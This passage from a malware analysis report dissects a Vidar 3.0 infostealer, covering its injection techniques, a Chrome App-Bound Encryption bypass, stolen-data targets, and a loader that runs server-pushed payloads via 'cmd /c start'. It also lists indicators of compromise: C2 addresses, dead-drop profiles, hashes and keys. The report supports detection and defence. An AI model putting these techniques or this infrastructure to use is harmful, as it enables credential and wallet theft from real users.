flattened into a fixed-size record array (task "3"’s parser allocates 1000 ×
400-byte records, capped at 1000 entries, bucketing by an int flag at
+0x18C into two lists).
| Task ID | Parser | Output struct | Record stride |
|---|---|---|---|
"2" | sub_360021F64 | dat_36022B998 | — |
"3" | sub_360028690 | dat_36022B978 (ptr) / dat_36022B980 (count) | 400 (0x190) |
"4" | sub_36002835C | dat_36022B988 (ptr) / dat_36022B990 (count) | 0x34C |
"21" | sub_360021C08 | dat_36022B998 | — |
"6" | (teardown path, sub_360026D80) | — | — |
So the numbered tasks are the instruction set, not the loot. The client asks the C2 what to steal; the answer arrives as base64-wrapped JSON and is parsed into these tables, which the collection code then walks. The strings naming the actual targets live in the JSON — on the server, not in this binary — the structural reason no browser paths or file masks appear anywhere in the image.
7.8 Victim identification
Bot ID construction (sub_360020200/sub_3600205EC) — three fields:
(1) an LCG (x = x*0x41C64E6D + 0x3039) over the GetVolumeInformationA
volume serial, hex-formatted %08lX%04lX%08lX; (2) 13 chars of the
GetCurrentHwProfileA szHwProfileGuid (start at index 1, skipping the {);
(3) a short HWID. Reproduces the live value at RVA 0x22B7B4:
AD5F6F34615DCCFF1E59 - 764ee840-6622 - 6ADA1B9
└ LCG over volume serial ┘ └ HwProfileGuid ┘ └ short HWID ┘
Short HWID is persisted in the registry — the only registry-write path
in the binary, and it stores the bot ID, not a Run key: HKEY_CURRENT_USER
(0x80000001), read-first (KEY_READ, 0x20019), create-on-miss. The bot ID
is therefore stable across runs on the same host. (This refines §6.5: “no
Run-key persistence” remains correct — this is not execution persistence — but
the payload does write to HKCU to persist its identity.)
Single-instance mutex Glasikprostik with wait-and-retry — it does not
exit on collision: on ERROR_ALREADY_EXISTS (0xB7) it retries 60–120 times
at 2–5 s sleeps, waiting out the previous instance for roughly 2–10 minutes.
7.9 Process injection performed by this payload
Stage 2 hollowed Stage 3 into calc.exe; Stage 3 carries its own injection
arsenal — none fired in the 20 s detonation, so this is static-only.
PPID spoofing + suspended-process injection (sub_360015078): opens each
candidate parent with exactly PROCESS_CREATE_PROCESS (0x80), grafts it via
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (0x20000) into a
STARTUPINFOEXA-backed InitializeProcThreadAttributeList, then
CreateProcessA with 0x8080004 = CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT. Fallback (no parent spoofable) drops to a plain
STARTUPINFOA and 0x8000004. CopyFileA is resolved at the same call site —
the sequence is copy self → spawn suspended under a spoofed parent →
allocate → write → resume. Per the strings, the copy lands in
%LOCALAPPDATA%\cnfigAp\ spawned with explorer.exe as the spoofed
parent.
APC injection / process forking (sub_36000C8C0): resolves
NtCreateProcessEx, NtOpenThread, NtQueueApcThread/NtQueueApcThreadEx2,
NtQueryVirtualMemory, NtReadVirtualMemory, NtTerminateProcess —
the process-forking pattern: clone a target process (typically a browser),
read secrets out of the fork’s address space, terminate the clone. Sidesteps
file locks, in-process integrity checks and most API-hooking — the original
process is never touched. NtQueueApcThread/Ex2 give an early-bird APC
execution path. A third, simpler path exists at sub_36000C35C —
CreateProcessA + CreateRemoteThread.
Hidden desktop (sub_36002B663): CreateDesktopA + launching processes
onto it via STARTUPINFOA.lpDesktop, so any browser it drives is invisible to
the logged-in user.
7.10 Capability
All from resolved hashes plus call sites; the runtime IAT saw roughly the first two rows of this execute in the detonation, the rest is static-only.
- Credential/secret theft — DPAPI is the centrepiece:
CryptUnprotectDataat two sites plusCryptUnprotectMemory/CryptProtectMemory(how Chromium/Gecko stored logins, cookies and theLocal Statemaster key are decrypted). Symmetric crypto is delegated entirely tobcrypt— no AES tables, no SHA constants, no base64 alphabet anywhere in the image (checked explicitly): BCrypt open/set/generate/ encrypt/decrypt/destroy/close,BCryptCreateHash/BCryptHashData/BCryptFinishHash,RtlGenRandom(SystemFunction036). A legacy CryptoAPI hashing path also exists (CryptAcquireContextA/…). - Locked-file theft via Restart Manager (
sub_3600168B8):RmStartSession/RmRegisterResources/RmGetList/RmEndSession— the standard trick for reading a browser database the browser holds open. - File grabber (
sub_36001A44C): drive walk viaGetLogicalDrivesbitmask +GetDriveTypeA(DRIVE_FIXED/DRIVE_REMOVABLE), traversal withFindFirstFileA/FindNextFileA/FindCloseandNtQueryDirectoryFile, reading viaCreateFileMappingA/MapViewOfFile, sizing viaGetDiskFreeSpaceExA. - Screenshot (
sub_360032EE4): GDI capture (CreateDCA/…BitBlt) + GDI+ encoding (GdiplusStartup/GdipCreateBitmapFromHBITMAP/GdipSaveImageToStream) into an in-memoryIStream— never to disk, consistent with the “no disk-staged exfil” detonation finding. - Recon:
GetComputerNameA,GetUserNameA,GetSystemInfo,GlobalMemoryStatusEx,GetLocalTime,GetSystemMetrics,GetSystemDirectoryA,ExpandEnvironmentStringsA,GetEnvironmentVariableA,GetVolumeInformationA,GetCurrentHwProfileA. - Process/thread discovery: Toolhelp32
CreateToolhelp32Snapshot+Process32FirstW/NextW+Thread32First/Next,NtQuerySystemInformation,NtQueryInformationProcess,OpenProcess/NtOpenProcess,TerminateProcess/NtTerminateProcess. - Privilege escalation:
OpenProcessToken/NtOpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges/NtAdjustPrivilegesToken,NtQueryInformationToken. - Console logging (dev/debug remnant): ANSI-coloured log prefixes lie
decrypted in
.data(\x1b[90m [~],\x1b[96m [*], …) behind loggersub_3601060E8, withGetStdHandle/GetConsoleMode/SetConsoleMode/SetConsoleOutputCPresolved — inert here because the PE is GUI-subsystem, but a strong indication these binaries are built from a codebase with a debug console mode.
Chrome App-Bound Encryption (v20) bypass — the most current TTP, and invisible before string recovery. Chrome 127+ wraps the cookie/password master key in App-Bound Encryption, so DPAPI alone no longer suffices:
v20: COM OK
v20: fork-scan (%d pids)...
v20: паттерн найден в pid %lu (score=%d) [pattern found in pid]
v20: Проверка ключа FAIL (pid %lu), пробуем следующий
v20: завершаем %d процессов браузера [terminating N browser processes]
v20: Проверка ключа после перезапуска (pid %lu)...
v20_com: found addr=0x%llX score=%d
Both routes are memory scans. v20: COM OK invites the reading that the
sample drives Chrome’s own elevation service through IElevator — the
best-known ABE bypass. The evidence does not support that: no COM
instantiation APIs are resolved anywhere (no CoInitializeEx,
CoCreateInstance, … across all 194 names); the only two COM-adjacent APIs
belong to the screenshot path; and v20_com sits in a ReadProcessMemory
function reporting an address with a score — a COM call returns a key, it does
not “found addr=… score=…”. So COM names what is searched for in browser
memory, not the mechanism used to ask for it:
v20_com— scan for a specific pattern/object, report its address with a confidence score.fork-scan— the same sweep across every candidate browser PID — what theNtCreateProcessEx+NtReadVirtualMemory+NtQueryVirtualMemoryset exists for: clone the browser, scan the clone, terminate it.
If neither works it terminates the browser processes and retries after
restart. Output goes to %s_v20.txt / %s_key.txt with APPB/DPAPI type
markers plus encrypted_key from Local State. Detection consequence: hunt
cross-process reads against browser processes (read/enumerate from a
non-debugger process, browsers terminated/restarted by something other than
the user); COM activation of Chrome’s elevation service is not a valid
signal for this sample.
Confidence: the strings, owning functions, ReadProcessMemory/
CryptUnprotectData call sites and the absence of COM APIs are established;
the specific fork-scan cloning and COM-as-scan-target readings are the best
reading of that evidence rather than verified line-by-line control flow.
Theft targets (recovered verbatim — what this binary knows about, distinct from the server-supplied plugin list):
- Browsers:
Local State,Login Data,Web Data,History,Cookies,login_data_for_account.db,Browser List; Gecko setlogins.json,key4.db,cert9.db,places.sqlite,formhistory.sqlite,prefs.js. Normalised outputspasswords.db/cookies.db/history.db/webdata.db. Named:firefox,opera,C:\Program Files (x86)\Google\Chrome\Application\,%s Stable,Default/Profiledirectory handling. - Crypto wallets & browser extensions:
Wallets,Wallet Rules,Plugins,Chromium Plugins,Local Extension Settings,Sync Extension Settings,IndexedDB,storage\default— reported asCrypto: %d кошельков (%s), %d файлов. - Messengers & gaming: Telegram —
Telegram Desktop\tdata,key_datas,settingss,map*,account1…account9,auth_key,https://web.telegram.org, staged underSoft\Telegram\%s. Discord —discord,discordcanary,discordptb, scanning.ldb/.log. Steam —ssfn*,config.vdf,libraryfolders.vdf,AccountName,PersonaName, staged underSoft\Steam\%s. - FTP / SSH: FileZilla (XML
<Host>/<Port>/<User>/<Pass encoding="base64">) and WinSCP (WinSCP: %s@%s), written topasswords.txtunder aSoft: FileZillaheader. - Cloud: Azure —
.azure,Soft\Azure\accessTokens.json,azureProfile.json,msal_token_cache.json,Soft\Azure\TokenCache.dat. - File grabber: a path-variable system expanded at runtime (
%DESKTOP%,%DOCUMENTS%,%DOWNLOADS%,%USERPROFILE%,%APPDATA%,%PROGRAMFILES_86%,%PROGRAMDATA%,%RECENT%,%DRIVE_FIXED%) driven by server-suppliedGrabber Rules(mask,depth,recursive,maxSize,exclusions), staged asFiles\%s\%sand zipped (%s.zip,zip_threshold); locked files via Restart Manager and thehandle stealpath (%d rm-lock,%d handle,SKIP %s [locked]).
Loader — second-stage delivery (not a stealer function; not visible from the API list):
Loader: start Loader task: %s Loader
Loader: invalid PE (size=%d, not MZ)
Loader: launched %s (PID %lu)
cmd /c start "" "%s"
with handlers for .exe, .dll, .ps1 and a funcname field (DLL export to
call) alongside url — the C2 can push and execute arbitrary follow-on
payloads. This sample is a delivery vector as well as a stealer.
Exfiltration shape: Sending %lu files in %d threads, Uploaded %lu/%lu files, thread_count, %s_%s_%s, %s.zip, Done in %lu min %lu sec. The host report is a labelled text block — HWID: %s, GUID: %s,
MD5: %s, Path: %s, Windows: %s, Antivirus: %s, [Hardware],
[Software], Version: %s, Date: %s, User Name: %s — with hardware from
HARDWARE\DESCRIPTION\System\CentralProcessor\0, the display-adapter class
key {4d36e968-e325-11ce-bfc1-08002be10318}, and OS naming from
ProductName/DisplayVersion (Windows 11, Windows 10, Server,
%s (Build %s)). One oddity worth recording: the string dQw4w9WgXcQ is
present — the YouTube ID for “Never Gonna Give You Up”. A joke/filler constant,
but a usable signature.
8. Indicators of Compromise
Network
| Type | Value |
|---|---|
| C2 (direct IP, no SNI, no DNS) | hxxps://2.29.7.186 |
| Dead-drop resolver (Telegram) | hxxps://telegram.me/m1duus |
| Dead-drop resolver (Pinterest) | hxxps://www.pinterest.com/m1duus |
| Dead-drop resolver (Steam) | hxxps://steamcommunity.com/profiles/76561198657426610 |
| DDR delimiter tag / “sepword” | x4tte |
| Actor/campaign handle | m1duus |
| Candidate initial download (ThreatFox, unreachable) | hxxp://86.107.168.126/verification.vrf |
| UA (record 0) | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/145.0.0.0 Safari/537.35 |
| UA (records 1–3) | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0 |
Samples / build
| Type | Value |
|---|---|
| SHA-256 PS1 loader (Stage 1) | 463197e44988b401501816cf53a42212f4dabb6838272e4641cf03761772f061 |
| SHA-256 .NET loader (Stage 2) | cf4cd52d002d27e0aa092906be199dd017d26ad39c81c292c4016b2f37f15709 |
| SHA-256 payload on disk (crypted, Stage 3) | 819b8c72cf69208a6206fe5642011b9d6b54fd83c9eac0646526bc39b32d86e5 |
| SHA-256 memory dump (analysed) | 1f23112d0a72e91e10f4efb19e001dab4577e638a3fe1e8c007d4c7f6b7d036e |
| MD5 (memory dump) | bd4635ff251d894a306feb7187bc3f97 |
| Family / version | Vidar 3.0 |
| Build / campaign ID | c4365025bf4905e4621f91972fe4429c |
| ImageBase / SizeOfImage | 0x360000000 / 0x25C000 |
| Compile timestamp | 2026-08-05 20:50:41 UTC |
| PS1 function name | Invoke-crcspsszf |
| .NET namespace/class | Hollow_Runner.Program |
| Embedded resources | XOR_Loader.build.txt, XOR_Loader.build_main.exe.bmp |
| XOR key (PS1 → Stage 2) / (BMP → Stage 3) | byte 98 mod 30 / ASCII "121314" |
| Hollowing target / flags | %SystemRoot%\System32\calc.exe / 0x4 (CREATE_SUSPENDED) |
Host
| Type | Value |
|---|---|
| Working directory | C:\ProgramData\1633343eabeb (shape: C:\ProgramData\<12-hex-char>) |
| Victim ID (this host) | AD5F6F34615DCCFF1E59-764ee840-6622-6ADA1B9 |
| Short HWID (this host) | 6ADA1B9 |
| Bot-ID persistence | a value under HKEY_CURRENT_USER (read-first, create-on-miss) |
| Mutex name | Glasikprostik |
| Self-copy directory | %LOCALAPPDATA%\cnfigAp\ |
| Spoofed parent process | explorer.exe |
| Staging subdirectories | Soft\Steam\, Soft\Telegram\, Soft\Azure\, Wallets\, Files\ |
| Loader execution | cmd /c start "" "%s" |
| Sandbox username/host blacklist | John, JOHN-PC, sandbox, SANDBOX |
The working-directory name and victim ID are host-derived (volume serial
- hardware profile GUID) and will differ on every machine — hunt on the
C:\ProgramData\<12-hex-char>shape, not these literals.
Detection-usable constants
| Type | Value |
|---|---|
| Hardcoded AES-256 key (hex → 32 bytes → BCrypt) | 4f8a2b1c9d3e7f6a0b5c1d8e2f9a4b7c6d3e0f1a2b5c8d9e0f1a2b3c4d5e6f7a |
| String-XOR key (16 bytes) | 88AA7AB34ED4833786FD5BB40B4B9911 |
| String-builder seed | 0x6B519DF3 (at RVA 0x254A90) |
| API-hash basis / prime | 0x63975773 / 0x10003F1 |
| Config record stride | 0x243 encrypted / 0x240 decrypted |
| Fallback-config version string | 2.8 (vs 3.0 embedded) |
| Joke constant | dQw4w9WgXcQ |
The hash basis/prime pair, the XOR key and the AES key are the strongest static signatures — build-specific constants present in the crypted on-disk file as well as the dump, and cheap to match.
9. MITRE ATT&CK
| Tactic | Technique |
|---|---|
| Initial Access | T1204.001 User Execution: Malicious Link (inferred — ClickFix delivery); T1204.004 User Execution: Malicious Copy and Paste |
| Execution | T1059.001 PowerShell (PS1 reflective loader at Stage 1) |
| Defense Evasion | T1027 Obfuscated Files or Information (rolling XOR, code-generated strings, junk code); T1027.003 Steganography (BMP payload); T1027.007 Dynamic API Resolution (custom FNV-1a, 194 APIs, zero import table); T1140 Deobfuscate/Decode (PS1 decode, BMP XOR, sub_360105914); T1620 Reflective Code Loading (Assembly.Load(byte[]); confirmed dynamically is_connected_to_peb:1); T1036.004/.005 Masquerading (calc.exe); T1055.012 Process Hollowing; T1055.004 APC Injection (NtQueueApcThread/Ex2); T1134.004 PPID Spoofing (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS); T1134.001 Token Manipulation (AdjustTokenPrivileges); T1622 Debugger Evasion (ThreadHideFromDebugger, ProcessDebugPort, ProcessDebugObjectHandle); T1497.001/.003 Virtualization/Sandbox Evasion (scored sb: suite; rdtsc sleeps); T1564.003 Hidden Window (CreateDesktopA + lpDesktop, CREATE_NO_WINDOW) |
| Credential Access | T1555.003 Credentials from Web Browsers (DPAPI + the Chrome v20 App-Bound Encryption bypass); T1539 Steal Web Session Cookie; T1552.001 Credentials In Files (FileZilla/WinSCP/Azure token files) |
| Discovery | T1057 Process Discovery (Toolhelp32); T1012 Query Registry (NtEnumerateKey/NtQueryValueKey); T1082 System Information Discovery (HWID/volume serial/hardware profile); T1083 File and Directory Discovery; T1518.001 Security Software Discovery (10-product AV fingerprint) |
| Collection | T1113 Screen Capture (BitBlt + GDI+); T1005 Data from Local System (drive-walk grabber); T1560.001 Archive via Utility (%s.zip, zip_threshold) |
| Command and Control | T1102.001 Web Service: Dead Drop Resolver (Telegram/Pinterest/Steam + x4tte); T1071.001 Web Protocols (WinHTTP over 443); T1573 Encrypted Channel (TLS to C2, BCrypt payload crypto) |
| Exfiltration / Ingress | T1041 Exfiltration Over C2 (inferred: multipart POST, Sending %lu files…); T1105 Ingress Tool Transfer (Loader: url/funcname, .exe/.dll/.ps1, cmd /c start) |
Also worth noting: sub_360025F48 is a byte-wise zeroing loop (non-elidable
SecureZeroMemory) run on every collected-data buffer before release —
anti-forensic memory scrubbing. There is no file-deletion or log-clearing
code in the binary.
10. Confidence and Gaps
Traced and verified end-to-end: PS1 → .NET decode (SHA-256 byte match);
BMP extraction (reproduced, SHA-256 match); process hollowing (independently
confirmed by pe-sieve + hollows_hunter, dynamic module/module_size matching
the static ImageBase/SizeOfImage); string decryption (key recovered, config
decrypted offline and byte-matched against the live dump); API hashing (14/14
against pe-sieve’s independent runtime IAT, then all 191 call-site constants
resolved); DDR dispatch and retry policy (corroborated against pcap endpoint
ordering and timing); victim-ID construction (reproduces the live value);
injection, anti-debug and mutex sequences. All 568 per-string builders
recovered by emulation — zero failures.
Identified but not exhaustively reversed: the JSON field bindings per task
ID (2/3/4/6/21); the ~40 single-character/fragment strings’ assembly
sites; whether the recovered constants are build-specific or family-wide (no
second Vidar build cross-check). The theft targets themselves are not in this
binary — they arrive in the server’s JSON, so no further static work on this
file will yield the browser paths or file masks; those need a responsive C2 or
a captured response body.
Still open:
- Live C2 unknown. The DDR mechanism is fully recovered, but the profiles
were not fetched (contacting live third-party infrastructure is out of
scope), so whatever
x4tte-delimited address they currently serve is unknown; only the hardcoded fallback2.29.7.186is confirmed. - No cleartext C2 protocol. No TLS decryption was attempted; the exfil record format is inferred from the task dispatch and WinHTTP usage, not observed on the wire (though the hardcoded AES key means a captured pcap could be decrypted).
- The captured
.ps1has a real syntax bug (9{vs 7}) and does not execute as saved — confirmed by direct execution. Whether this reflects the in-the-wild delivery or is specific to this captured copy is unresolved. - Fallback config provider (
sub_360105340, the2.8build path) not analysed — reached only when the embedded key byte is zero. - No persistence or disk-staged exfil observed in the ~20 s detonation — the injection, screenshot, grabber and DPAPI paths never executed. A longer detonation with a responsive C2 would be needed to observe them, since collection runs only after a successful handshake delivers the task configuration. Sandbox suite not triggered to completion either — the C2 teardown kept the sample in waiting states.
Static reverse-engineering done from the shell (PowerShell deobfuscation, PE
parsing, hand-written decryptors/emulators, kuna decompilation); the dynamic
stage was a single detonation in an isolated FLARE-VM with FakeNet-NG
interception. Analysis artifacts produced: static_decrypted_config.json,
resolved_api_hashes.txt, recovered_strings.txt, function_strings_map.txt
(Stage 3 deep dive), plus hollowed_memory_dump_decrypted.bin,
recovered_runtime_iat.txt, pesieve_scan_report.json,
hollows_hunter_summary.json, pcap_tls_sni_log.txt, pcap_c2_ip_traffic.txt
(detonation).